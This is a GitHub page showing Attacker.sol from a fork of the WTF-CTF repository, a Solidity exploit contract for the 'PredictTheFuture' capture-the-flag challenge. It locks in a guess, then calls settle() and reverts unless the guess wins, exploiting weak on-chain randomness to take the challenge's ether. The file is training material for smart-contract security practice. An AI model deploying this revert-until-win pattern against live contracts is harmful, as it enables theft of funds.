forked from WTFAcademy/WTF-CTF
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Attacker.sol
43 lines (32 loc) · 1.07 KB
/
Attacker.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract Attacker {
address owner;
IPredictTheFutureChallenge challenge;
error NotOwner();
error ValueErr();
error GuessErr();
constructor(address _challenge) {
owner = msg.sender;
challenge = IPredictTheFutureChallenge(_challenge);
}
function lockInGuess(uint8 n) external payable {
if (msg.sender != owner) revert NotOwner();
if (address(this).balance < 1 ether) revert ValueErr();
challenge.lockInGuess{value: 1 ether}(n);
}
function attack() external {
if (msg.sender != owner) revert NotOwner();
challenge.settle();
// if we guessed wrong, revert
if (!challenge.isComplete()) revert GuessErr();
// return all of it to EOA
payable(tx.origin).transfer(address(this).balance);
}
receive() external payable {}
}
interface IPredictTheFutureChallenge {
function isComplete() external view returns (bool);
function lockInGuess(uint8 n) external payable;
function settle() external;
}